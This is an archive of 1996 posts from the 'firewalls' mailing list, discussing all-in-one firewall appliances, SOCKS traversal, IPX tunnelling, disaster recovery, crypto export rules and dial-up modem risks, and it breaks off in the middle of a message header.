Received: from gw2.att.com (gw2.att.com [192.20.239.134]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id UAA29911 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 20:14:11 -0800 (PST)
Received: from boaz (boaz.cb.att.com) by ig2.att.att.com id AA08025; Mon, 11 Mar 96 23:13:16 EST
Received: by boaz (940816.SGI.8.6.9/940406.SGI.AUTO)
	 id XAA16084; Mon, 11 Mar 1996 23:11:59 -0500
Date: Mon, 11 Mar 1996 23:11:59 -0500
Message-Id: <199603120411.XAA16084@boaz>
From: C Matthew Curtin <cmcurtin@gatekeeper.cb.att.com>
To: Jay Tingiris <jtingiris@gw.paradyne.com>
Cc: firewalls@GreatCircle.COM
Subject: Re: Firewalls: NT versus UNIX
In-Reply-To: <s144828a.089@gw.paradyne.com>
References: <s144828a.089@gw.paradyne.com>
Reply-To: cmcurtin@gatekeeper.cb.att.com
X-Attribution: Matt
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>>>>> "Jay" == Jay Tingiris <jtingiris@gw.paradyne.com> writes:

Jay> Low Cost Firewall: $2,000 US (hardware/software included)

Jay> Supported Services: 
Jay> 1) TCP/IP filtering mechanism that allows for
Jay> priority queuing 
Jay> 2) HTTP caching proxy support (internal and
Jay> external) 
Jay> 3) FTP caching proxy support (internal and external)
Jay> 4) GOPHER caching proxy support (internal and external) 
Jay> 5) Telnet proxy support (internal and external) 
Jay> 6) SMTP secured mail transport mechanism (inbound and outbound) 
Jay> 7) DNS Server Capability (forwarding, caching, and secondary
Jay> support)
Jay> 8) HTTP Server Support for External/Internal WWW pages 
Jay> 9) MBONE tunnel Jay> endpoint (secure internal broadcast) 
Jay> 10) IRC Client and Server support (internal and external) 
Jay> 11) WAIS caching proxy support (internal and external) 
Jay> 12) POP mail support 
Jay> 13) Automatic Status reports and cache management features.  
Jay> 14) ALL ON THE SAME MACHINE!

I would consider putting all of these things on the same machine to be
-at best- an unwise move.

Perhaps the biggest problem here is that you've got a single machine
upon which you become critically dependant, and that machine is a
single point of failure. From a security standpoint, as well as a
functionality standpoint. If someone launches a denial of service
attack against your web server, it can take out your mail relay,
too. And DNS, and proxy caching server, etc... you get the idea.

Further, you've complicated setup, because now you need to make sure
that everything is working together, which may or may not be a big
deal. But it is a more complicated configuration to have to rebuild if
the machine catches on fire...

I fear that we're going to start seeing lots of these silly machines
start coming up ... everything in one. A bad idea for security, a bad
idea for service ... but they, like so many other dumb things that
people with money claim to "need," will probably become successful
products from the perspective of marketing and profitability. Sigh.

--
C Matthew Curtin               [AT&T|Bell] Labs               Internet Posse
http://www.att.com/homes/matt_curtin.html PGP OK cmcurtin@gatekeeper.att.com

From firewalls-owner  Mon Mar 11 21:47:59 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA03678 for firewalls-outgoing; Mon, 11 Mar 1996 21:33:30 -0800 (PST)
Received: from livedgar.gsionline.com (livedgar.gsionline.com [204.254.209.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA03673 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 21:33:24 -0800 (PST)
Received: from GEORGE by livedgar.gsionline.com (NTMail 3.01.01) id ga002398; Tue, 12 Mar 1996 05:30:53 +0000
X-Sender: nick@livedgar
X-Mailer: Windows Eudora Version 1.4.3
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@greatcircle.com
From: nkeenan@gsionline.com (Mr. Nick Keenan)
Subject: socks4
Date: Tue, 12 Mar 1996 05:30:53 +0000
Message-Id: 05305364500283@gsionline.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Greetings.  This is my first posting to this list, although I have been lurking.

I am a software developer. I am developing an application (client and
server) that opens a TCP connection from the user's desktop to our server,
on a port above 1024.

I would like my application to be as easy to configure and use as possible.
A primary problem is dealing with firewalls/proxy servers.  I currently have
support for mapped links and SOCKS4.  SOCKS4 is preferred by me and my
clients, as it requires less setup.

What I would like to do is conduct something of an informal survey, to see
what kinds of systems are out there in the real world, so I can get an idea
of what direction I should head in.  If there is sufficient interest I will
summarize for the list. 

Are many people out there are supporting SOCKS4?  What sort of restrictions
do you put upon outgoing TCP connections? (Username? Port#? IP Address?)  

Is anyone using SOCKS5?  Do you still allow SOCKS4?

Do most people allow DNS lookups through the wall?

If you aren't using SOCKS, what sort of firewall traversal do you allow
(mapped links, static routes, etc).

I hope nobody finds this posting offensive.  If you do, please flame me and
not the list.

Thanks in advance

Nick

Nick Keenan
Global Securities Information
nkeenan@gsionline.com
http://www.gsionline.com


From firewalls-owner  Mon Mar 11 22:02:34 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA03704 for firewalls-outgoing; Mon, 11 Mar 1996 21:34:17 -0800 (PST)
Received: from Mail.RC.Toronto.on.ca (rcooper.the-wire.com [198.53.192.91]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id VAA03682 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 21:34:07 -0800 (PST)
Received: from rwcooper.rc.toronto.on.ca ([205.206.47.2])
          by Mail.RC.Toronto.on.ca (post.office MTA v1.9.1
          evaluation license) with SMTP id AAA202;
          Tue, 12 Mar 1996 00:32:20 -0500
Received: by rwcooper.rc.toronto.on.ca with Microsoft Mail
	id <01BB0F8D.5C5377C0@rwcooper.rc.toronto.on.ca>; Mon, 11 Mar 1996 20:57:29 -0500
Message-ID: <01BB0F8D.5C5377C0@rwcooper.rc.toronto.on.ca>
From: Russ <Russ.Cooper@RC.Toronto.on.ca>
To: "'cmcurtin@gatekeeper.cb.att.com'" <cmcurtin@gatekeeper.cb.att.com>
Cc: "'Firewalls'" <firewalls@GreatCircle.COM>
Subject: RE: Firewalls: NT versus UNIX
Date: Mon, 11 Mar 1996 20:57:27 -0500
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

C Matthew Curtin rote...

"I fear that we're going to start seeing lots of these silly machines start 
coming up ... everything in one. A bad idea for security, a bad idea for 
service ... but they, like so many other dumb things that people with money 
claim to "need," will probably become successful products from the 
perspective of marketing and profitability. Sigh."

Now considering we are nearly, if not actually, at the point of needing 
these types of setups on every single machine, don't you think we need to 
rethink the belief that there needs to be a separate machine for each 
critical service? I mean, with Java doing what it can do, a gatekeeper 
needs the ability to remotely configure a firewall on every single machine 
*within* his/her organization in order to ensure that rogue programs that 
can get through the firewall aren't able to do things on, or to, those 
internal machines.

With the "browser" concept catching on like wild-fire, and all these 
applications coming about which use the same port, its getting to the point 
where the philosophy of a firewall (something that allows you to grant or 
deny services based on a combination of things including a service port) is 
getting thrown to the dogs. If, through HTTP, I can download and 
unknowingly execute an application that can do FTP or PING or whatever, 
then the LAN has to be treated as hostile as the external or untrusted 
network.

The solution, in my mind, is not to try and filter out these rogue 
applications at the firewall but to make a tool that a gatekeeper can 
administer that allows him/her to allow or deny services on individual 
machines, in addition to a normal firewall. It will sure make security 
administration a far more complex matter, but in the face of the 
over-whelming desire to do these things I don't see that there is much else 
that can be done. At least it will make your jobs more important! ;-]

I had a conversation recently with a major manufacturer of computers who 
were talking about a PC administration tool which would work through any 
browser and allow the user to do remote control, that is, take over a 
keyboard and do real time screen captures, all using a little HTTP daemon 
to be run on the workstation. When I asked how they planned to secure the 
product, they said they had been thinking about SSL. All I could do was 
throw my hands up and cry uncle!

Where's the LAN-based VPN???

Cheers,
Russ


From firewalls-owner  Mon Mar 11 22:47:22 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id WAA05589 for firewalls-outgoing; Mon, 11 Mar 1996 22:38:05 -0800 (PST)
Received: from www.ci.ua.pt (www.ua.pt [193.136.80.6]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id WAA05577 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 22:37:58 -0800 (PST)
Message-Id: <199603120637.WAA05577@miles.greatcircle.com>
Received: by www.ci.ua.pt
	(1.37.109.15/16.2) id AA187706002; Tue, 12 Mar 1996 07:33:22 GMT
From: Fernando Cozinheiro <cooker@ci.ua.pt>
Subject: Encrypted sessions across LANs
To: firewalls@GreatCircle.COM
Date: Tue, 12 Mar 1996 07:33:22 +0000 (PWT)
Cc: cooker@ua.pt (Fernando Cozinheiro)
Organization: Universidade de Aveiro, Portugal
X-Mailer: ELM [version 2.4 PL25]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Dear friends:


Probably,  this is not the right place to make my question,  but I can't
identify the correct one to place it.

   In order to protect our users from sniffing operations on our LAN, we
   need to identify any public domain or commercial packages (TELNET and
   FTP, for  example)  to work with the  minimum  security  level on our
   local networks,  using UNIX systems  (FreeBSD,  LINUX, HP-UX, Ultrix,
   SunOS, etc.)?

   There are any set of  packages  that  could be used on PCs or MACs to
   access our UNIX servers?

Could anyone help us? We would appreciate it very much...
Thanks in advance!

-- 
Fernando Cozinheiro                     http://sweet.ua.pt/~cooker/
System & Network Administrator          Email: cooker@ci.ua.pt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Universidade de Aveiro               Phone:
Centro de Informatica                   UA:     +351 34 370200/Ext.2254
3810 Aveiro                             CIUA:   +351 34 370345
Portugal                             Telefax:   +351 34 370214

From firewalls-owner  Mon Mar 11 23:32:30 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id XAA07924 for firewalls-outgoing; Mon, 11 Mar 1996 23:18:30 -0800 (PST)
Received: from gsenu7.gsen.goldstar.co.kr ([156.147.205.8]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id XAA07824 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 23:17:27 -0800 (PST)
Received: by gsenu7.gsen.goldstar.co.kr (AIX 3.2/UCB 5.64/4.03)
          id AA26230; Tue, 12 Mar 1996 16:16:17 -0600
Date: Tue, 12 Mar 1996 16:16:17 -0600
From: sjlim@gsenu7.gsen.goldstar.co.kr (Lim sam jin(4337))
Message-Id: <9603122216.AA26230@gsenu7.gsen.goldstar.co.kr>
To: firewalls@greatcircle.com
Subject: IPX problem
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hello !
I'm in charge of maintenance for Network systems & environment related to Network.
And nowadays I'm following to setup firewall env. by using Firewall1(Sunsoft.).
I have setup and put Firewall1 system in our network env. like feature below.

     Internet --- Router1 -|--- Firewall1 ---- Router2 ----systems.....
                     |          
   <--Serlal_line--->|<------------------ Ethernet -------------------->
   <-- other dept.-->|<--- our dept. for maint.----------------->
		           

The machine installed Firewall1 is SparcStation20 and we use Netware server
which is in other dept. 
As you know, the UNIX machine such as Sun and IBM can support only rip dynamic 
routing protocol. 
So I got some problem to implement the IPX routing between other dept. and our dept.   .
Is there any way to overcome this problem ?
The guy who works for Sun Korea told me that there is no way to overcome .
And we are going to evaluate  PIX system 2 months later .
Is it possible to overcome this problem by using PIX system ?
If your site have firewall security env. , what kind of firewall do you use ? 
And could you tell me common structure of connection between firewall and systems?

Thank you for your reading .
expecting your reply ....

SJLIM from Korea.

From firewalls-owner  Tue Mar 12 00:32:33 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id AAA11306 for firewalls-outgoing; Tue, 12 Mar 1996 00:29:33 -0800 (PST)
Received: from sunthing.sjsinc.com (sunthing.sjsinc.com [140.174.165.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id AAA11301 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 00:29:27 -0800 (PST)
Received: by sunthing.sjsinc.com 
	Mailer: sendmail (8.6.12/8.6.9)
	Protocol: 
	Id: AAA00181; Tue, 12 Mar 1996 00:27:10 -0800
Date: Tue, 12 Mar 1996 00:27:10 -0800
From: sjs@sunthing.sjsinc.com (Stefan Jon Silverman)
Message-Id: <199603120827.AAA00181@sjsinc.com>
To: firewalls@greatcircle.com
Subject: Picking Up The Pieces...
Cc: jean@sunthing.sjsinc.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Folks:

	A recent decision to attempt a mid-career transition from the 
information systems architecture / implementation / security discipline
to the area of Disaster Recovery / Business Resumption planning in
business environments heavily dependent on voice and data communications and
systems has forced me to re-think and re-evaluate the skills, tools, and
intellectual paradigms that I bring to work each 'morn. Hence, this semi-
on-topic post as a "request for information" (RFI, oh how I love acronyms)...

	In my last consulting engagment, I wrote a Business Resumption and
Business Hardening Plan for a major West Coast (US) securities trading
firm. It's actually amazing (to this consultant at least) that when you
utter the word **EARTHQUAKE** in San Francisco you get a level of management
sanction and the application of resources and REAL authority to "get something
done" that heretofore has been a major politicing job in information systems
consulting (and even more amazing, the hourly is about 40% higher with no
argument...hmmm!!!). **EARTHQUAKE** does seem to attract much greater
attention than "data compromise event" (to stay on topic for the list).

	Just for completeness sake, I postulated 4 scenarios for the plan:

	o Focused: mad gunman in the lobby - to the US audience, a 
	   101 California St. incident (and of course he shot up a wiring
	   closet and started a fire, one must be thorough...).
	o Localized: van load of explosives driven into the lobby of the
	   building - again to the US audience, a World Trade Center sort
	   of event (what a wonderfully sterile word).
	o Regional: -- what we in the Bay Area fear most -- a massive
	   Hayword fault quake.

...actually rather straightforward to deal with (redundancy, redunancy, 
redunancy)...and now:

	o Data Compromise Event: An invasion of the voice PBX, an attack
	   on the VRU / call dispatching system, or a breach of the firewall
	   (see, I'm trying to stay on topic) system with attendent damage
	   to critical information systems.

	As I got into the analysis, however, I realized that having proposed
a "data compromise event" to the client as one of the things to plan and
harden against, I was at a loss to describe and reccomend  vulnerabilities /
remedies in anything more than a generalized way (I.E., keep good backups,
get them off-site on a regular basis, apply them if anything goes wrong...). 

	Given that I want to do more of this type of work, I need some help 
from the list. 

	Having been a member of this list for about 1.5 years, I have seen
most types of attacks described and discussed to death (a "good thing").
What has me interested at the moment (and I saw brief thread on this in
December) is a very specific "workbook" sort of description of:

	If *A* happens, do *B*

	By this I mean some kind of proactive planning scenario (in addition
to the site's basic security policy) of "OK, it happened...what do we do
now." Hence my subject line.

	I am most interested in information on the internal aspects of 
getting the impacted systems back on-line, but would also be interested
in the related notify CERT, FIRST, and law enforcement avenues of discussion.

	So, Si/He-r's, what are the deep boogy-monsters in your closets, and
if they succeed in their endeavours, what policies and procedures do you have
in place to recover. Private e-mail is preferred, but if you think this
warrents public discussion, by all means post to the list...

	BTW: if you are a firewall administrator in the US working for a
publicly traded corporation or a firm that manages other people's money under
SEC regulations, expect to be consulted by management on this issue. The
national accountancy authority (it's a trade group, I don't know the acronym)
who sets standards for company audits has now included a Disaster Recovery
Plan check-box on the list of things required to pass the yearly audit; now,
how hard-working accountants will be able to evaluate IS's contribution to 
a DR plan is beyond me....it exists.

	And especially for CED: I'll take it in poetry, seems to work, 
sort of, I think.....

	Regards,

	b c++'ing u,

	%-) sjs

PS:	I am my own employer, therefore: "all opinions are twice spoken for;"
	and they do, in fact, scare the hell out of said employer!!!

-------------------------------------------------------------------------------
Stefan Jon Silverman - President                     SJS Associates, N.A., Inc.
                                                            572 Chestnut Street
Distributed Systems Architecture & Implementation      San Francisco, Ca. 94133
                                                            Phone: 415 989 2741
                                                            Fax:   415 989 7250
E-mail: sjs@sjsinc.com                                      Cell:  415 519 3494
-------------------------------------------------------------------------------
                  Weebles wobble, but they don't fall down!!!
-------------------------------------------------------------------------------

From firewalls-owner  Tue Mar 12 01:32:42 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id BAA12809 for firewalls-outgoing; Tue, 12 Mar 1996 01:00:19 -0800 (PST)
Received: from ns.tjsys.co.jp (ns.tjsys.co.jp [157.79.16.14]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id AAA12685 for <firewalls@GreatCircle.com>; Tue, 12 Mar 1996 00:59:36 -0800 (PST)
Received: from rd400.randd.tjsys.co.jp (randd.tjsys.co.jp [157.79.16.10]) by ns.tjsys.co.jp (8.6.8.1/8.6.6) with SMTP id RAA04691 for <firewalls@GreatCircle.com>; Tue, 12 Mar 1996 17:53:31 +0900
Received: from lancia.open.tjsys.co.jp (ws-gw) by rd400.randd.tjsys.co.jp (4.1/6.4J.6-nao0.4)
	id AA07736; Tue, 12 Mar 96 17:55:46 JST
Received: from kirin.open.tjsys.co.jp by lancia.open.tjsys.co.jp (4.0/6.4J.6-nao0.3)
	id AA18504; Tue, 12 Mar 96 17:55:00 JST
Received: from open.tjsys.co.jp (buchi) by kirin.open.tjsys.co.jp (4.1/6.4J.6-nao0.1)
	id AA17595; Tue, 12 Mar 96 17:57:21 JST
Date: Tue, 12 Mar 96 17:56:12 JST
From: ishii@open.tjsys.co.jp (=?ISO-2022-JP?B?GyRAQFAwZiEhRD47SxsoQg==?=)
Message-Id: <1996312175612.2711@ishii.kirin>
To: firewalls@GreatCircle.com
Subject: easing American export regulation ?
Reply-To: ishii@open.tjsys.co.jp
X-Mailer: CypherMail Ver.1.0
Content-Type: text/plain; charset=ISO-2022-JP
Mime-Version: 1.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Please let me know someone.

   It was soon heard that export of the 64bit version of RC2 ? of RSA 
   was permitted by easing American export regulation a little.

   Is it true?    I am living in JAPAN .
---
TOSHIBA INFORMATION SYSTEMS (JAPAN) CORPORATION
$@!!(BOPEN SYSTEM DIVISION    OPEN NETWORK PROJECT 

   <<< NAOFUMI  ISHII >>>$@!!!!!!!!!!!!!!(B

  2-1 Nisshin-cyo,Kawasaki-ku,Kawasaki-city  210 JAPAN  $@!!!!(B
  (tel:+81-44-246-8477   fax:+81-044-246-8134$@!K!!(B


From firewalls-owner  Tue Mar 12 02:49:18 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id CAA18063 for firewalls-outgoing; Tue, 12 Mar 1996 02:12:25 -0800 (PST)
Received: from hk.super.net (hk.super.net [202.14.67.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id CAA18056 for <Firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 02:12:09 -0800 (PST)
Received: from is3.hk.super.net (root@is3.hk.super.net [202.14.67.36]) by hk.super.net (8.7.5/8.7.1) with ESMTP id SAA21376 for <Firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 18:10:09 +0800 (HKT)
Received: from sect5-p0969 (max1-13.hk.super.net [202.64.17.13]) by is3.hk.super.net (8.7.5/8.7.1) with SMTP id SAA09017 for <Firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 18:09:17 +0800 (HKT)
Message-ID: <31463B7B.3FD8@hk.super.net>
Date: Tue, 12 Mar 1996 18:05:31 -0900
From: Vinci Chou <vkmchou@HK.Super.NET>
X-Mailer: Mozilla 2.0 (Win95; I)
MIME-Version: 1.0
To: Firewalls@GreatCircle.COM
Subject: Re: Security of Networked Workstations with dial-up PPP Internet!!!
References: <199603062218.RAA26276@traveller.East.Sun.COM>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Wayne Gifford - Internet Commerce Group wrote:
> 
> >
> > Folks,
> >
> >       Windows95 Workstation on a private network (supposedly  secure) with dial-up
> > PPP to the internet.
> >
> > I assume that windows 3.11,NT and 95 can forward packets from the PPP link to
> > the local network, thereby acting as a router and exposing the private network
> > to the internet.
> > Can anyone give me some specific examples of this ocurring and the security
> > effects or point me at a RFC or whitepaper to read?
> >
> >
> Attaching modems directly to a workstation connected to a network
> would be a Bad Thing (TM). Even if IP forwarding and you aren't routing
> is turned off you have exposed an unprotected node to the outside.

Though it is possible for the unprotected node to be attacked, can any one
give any specific examples in a Windows environment ?  E.g. if the user
did not have any file sharing, is there any known bug in Windows/Workgroup/
Win95 that allow another person over the Internet to place anything into
the hard disk of the dial-up user ?  Also, the IP address of the dial-up
user is allocated by the ISP and change from time to time, how can it be
possible for a hacker to leave a back door and come back again ?

> If someone can log in from the outside while you are connected or
> happens to find your modem's phone number, you've been breached.
> 

If I have the auto-answer of my modem turned-off, is this still true ?

Finally, there was a posting previously from Herold Becky on a similar
issue.  In his summary of the responses that he had received -

> *  Since IP is a two-way protocol, someone could gain access to the dial-out
>    PC hard drive (and any networked system) during the dial-out session.  This
>    is true even when using the non-DID line (which basically protects against
>    war-dialers in the event the dial-out user leaves the modem on all the
>    time).

I've been trying for a long time looking for the details of how break in can
be achieved through this kind of dial-up connection but to my disappointment,
almost all discussions were TOO GENERAL.  I think I need more information to
convince TOP management and myself that this kind of dial-out internet
connection is in fact dangerous before we can lay down some guidelines
and enforce it.

When people are talking about risk about dial-up modems, there are many
many different cases with different level of risks.
e.g. a PC in the office with modem connected and pcANYWHERE installed
and configured to wait for remote control from the home, so that the
employee can use the resources in the office from his home is ABSOLUTELY
dangerous !  However, I think it is quite a different question to allow
a dial-up Internet access using PPP.
(Mind this !  The advertising pamphet is advertising this feature of
pcANYWHERE !  Also, for Win95, MS Plus includes a Dial-Up Networking
Server which can also do that !  How to control these without going
physically there to inspect !!! Using SMS or other remote management
s/w to scan for this kind of s/w ?)  

I am now urgently looking for details of these dial-up risks so that
I can put up a security policy, would anyone please give more specific
details on this risk.
E.g.
1. On what OS (Windows 3.1/Workgroup/Win95/OS2) and what TCP/IP
   stack (MS/Wollongong/Chameleon etc.) can IP routing occur ?
2. Will the workstation exposed to attack if no file sharing ?




Thanks to all,

Vinci.

From firewalls-owner  Tue Mar 12 03:17:43 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id DAA21321 for firewalls-outgoing; Tue, 12 Mar 1996 03:02:57 -0800 (PST)
Received: from nic.aic.net ([206.106.252.238]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id DAA21313 for <firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 03:02:46 -0800 (PST)
Received: from NS.AIC.NET (NS.AIC.NET [194.67.30.65]) by nic.aic.net (8.6.12/8.6.12) with ESMTP id PAA04725; Tue, 12 Mar 1996 15:02:23 +0300
Received: (from edd@localhost) by NS.AIC.NET (SMI-SVR4 8.7.3/8.7.3) id PAA03631; Tue, 12 Mar 1996 15:01:10 -0400 (GMT)
From: Edgar Der-Danieliantz <edd@AIC.NET>
Message-Id: <199603121901.PAA03631@NS.AIC.NET>
Subject: Re: easing American export regulation ?
To: ishii@open.tjsys.co.jp
Date: Tue, 12 Mar 1996 15:01:09 -0400 (GMT)
Cc: firewalls@GreatCircle.COM
In-Reply-To: <1996312175612.2711@ishii.kirin> from "=?ISO-2022-JP?B?GyRAQFAwZiEhRD47SxsoQg==?=" at Mar 12, 96 05:56:12 pm
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

=?ISO-2022-JP?B?GyRAQFAwZiEhRD47SxsoQg==?=:
> 
> Please let me know someone.
> 
>    It was soon heard that export of the 64bit version of RC2 ? of RSA 
>    was permitted by easing American export regulation a little.
> 
>    Is it true?    I am living in JAPAN .

I don't know; see http://www.rsa.com for more info,


Edgar


From firewalls-owner  Tue Mar 12 04:26:57 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id EAA24732 for firewalls-outgoing; Tue, 12 Mar 1996 04:04:29 -0800 (PST)
Received: from donald.interpac.be (donald.interpac.be [193.53.125.80]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id EAA24689 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 04:04:18 -0800 (PST)
Received: from INTERPC.interpac.be ([194.78.32.98]) by donald.interpac.be (8.7.3/8.7.1) with SMTP id NAA29955 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 13:02:25 +0100 (MET)
Message-ID: <314567DF.5C73@interpac.be>
Date: Tue, 12 Mar 1996 13:02:39 +0100
From: Gaetan Dhont <nrb@mail.interpac.be>
Organization: Network Research Belgium
X-Mailer: Mozilla 2.0 (Win95; I)
MIME-Version: 1.0
To: firewalls@greatcircle.com
Subject: Looking after informations about LPDaemon !
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hi

Looking after informations about LPDaemon !

Any suggestions are welcome !

Regards

From firewalls-owner  Tue Mar 12 06:42:50 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA00561 for firewalls-outgoing; Tue, 12 Mar 1996 06:30:14 -0800 (PST)
Received: from hp01.vak12ed.edu (hp01.vak12ed.edu [141.104.150.251]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA00554 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 06:30:09 -0800 (PST)
Message-Id: <199603121430.GAA00554@miles.greatcircle.com>
Received: by hp01.vak12ed.edu
	(1.38.193.5/16.2) id AA08236; Tue, 12 Mar 1996 09:27:54 -0500
From: "W.C. Epperson" <epperson@vak12ed.edu>
Subject: Every Firewall For Itself (Was: "...NT vs. Unix)
To: firewalls@greatcircle.com
Date: Tue, 12 Mar 1996 9:27:54 EST
In-Reply-To: <01BB0F8D.5C5377C0@rwcooper.rc.toronto.on.ca>; from "Russ" at Mar 11, 96 8:57 pm
X-Mailer: Elm [revision: 109.16]
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Mail headers with an ever increasing probabality of having been forged
suggest that Russ said:
> 
> The solution, in my mind, is not to try and filter out these rogue 
> applications at the firewall but to make a tool that a gatekeeper can 
> administer that allows him/her to allow or deny services on individual 
> machines, in addition to a normal firewall. It will sure make security 
> administration a far more complex matter, but in the face of the 
> over-whelming desire to do these things I don't see that there is much else 
> that can be done. At least it will make your jobs more important! ;-]
> 
Whoa.  The major leverage in a firewall is the ability to put control
at the border(s) rather than having to manage its configuration on every
platform.  Don't have enough security staff to deal with 
defending/limiting on a platform by platform basis, and can trust neither
the average sysadmin nor end customer to leave a configuration the way we
set it anyhow.  And if the job gets anymore important I'm going to have
to start worrying about assasination attempts....
--
W.C. Epperson			"I have great faith in fools. 
Senior SE                        Self-confidence, my friends call it."
Information Security Officer             --Edgar Allan Poe--
DBA Emeritus
Curmudgeon-for-Life
Virginia Dept. of Education	        
epperson@pen.k12.va.us

From firewalls-owner  Tue Mar 12 06:47:45 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA00899 for firewalls-outgoing; Tue, 12 Mar 1996 06:44:19 -0800 (PST)
Received: from funet.fi (funet.fi [130.230.1.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id GAA00894 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 06:44:14 -0800 (PST)
Received: from relevantum.fi (actually user nobody@relevantum.fi) by funet.fi 
          with SMTP (PP); Tue, 12 Mar 1996 16:42:25 +0200
Received: by relevantum.fi (4.1/SMI-4.1-MHS-7.0)	id AA20253;
          Tue, 12 Mar 96 16:42:01 +0200
Date: Tue, 12 Mar 1996 16:41:57 +0200 (EET)
From: Keinanen Vesa <vjk@relevantum.fi>
To: sjlim@gsenu7.gsen.goldstar.co.kr
Cc: firewalls@greatcircle.com
Subject: Re: IPX problem
In-Reply-To: <9603122216.AA26230@gsenu7.gsen.goldstar.co.kr>
Message-Id: <Pine.SUN.3.91.960312154829.20078B-100000@relevantum.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Tue, 12 Mar 1996 sjlim@gsenu7.gsen.goldstar.co.kr wrote:
> The machine installed Firewall1 is SparcStation20 and we use Netware server
> which is in other dept. 
> As you know, the UNIX machine such as Sun and IBM can support only rip dynamic 
> routing protocol. 

Firewall-1 routes only IP. Dynamic routing in Firewall is not big
issue, because it's usually safer not to run dynamic routing in Firewall.
But I quess that's not point here...

> So I got some problem to implement the IPX routing between other dept. and our dept.   .
> Is there any way to overcome this problem ?
> The guy who works for Sun Korea told me that there is no way to overcome .

Well, Firewall-1 may only route IP, but there are ways to tunnel
IPX over IP, so you don't need direct IPX support on Firewall.
Any Netware server can act as tunneling endpoint ("IPTUNNEL" drivers
is included in server software). You cannot do this with all 
Firewalls, because it requires UDP forwarding.

You need Netware servers on both sites. But beware: with this setup you 
will end up with full open IPX routing between two sites. Please consult 
somebody who really knows netware networking and your network setup 
before you do this.  

VK
--
Vesa Keinanen             Nasilinnankatu 24 D, 33210 Tampere, Finland
Relevantum Oy             Phone +358 31 2147200,  Fax +358 31 2147402



From firewalls-owner  Tue Mar 12 07:07:37 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA01753 for firewalls-outgoing; Tue, 12 Mar 1996 07:00:23 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA01748 for <firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 07:00:19 -0800 (PST)
Received: by mercury.Sun.COM (Sun.COM)
	id GAA29342; Tue, 12 Mar 1996 06:58:27 -0800
Received: from congress.East.Sun.COM by East.Sun.COM (5.x/SMI-5.3)
	id AA25829; Tue, 12 Mar 1996 09:58:23 -0500
Received: from traveller by congress.East.Sun.COM (4.1/SMI-4.1)
	id AA02573; Tue, 12 Mar 96 09:58:21 EST
Message-Id: <3145910D.5097@incog.com>
Date: Tue, 12 Mar 1996 09:58:21 -0500
From: Wayne Gifford <giff@incog.com>
Organization: Internet Commerce Group
X-Mailer: Mozilla 2.0 (X11; I; SunOS 5.5 sun4m)
Mime-Version: 1.0
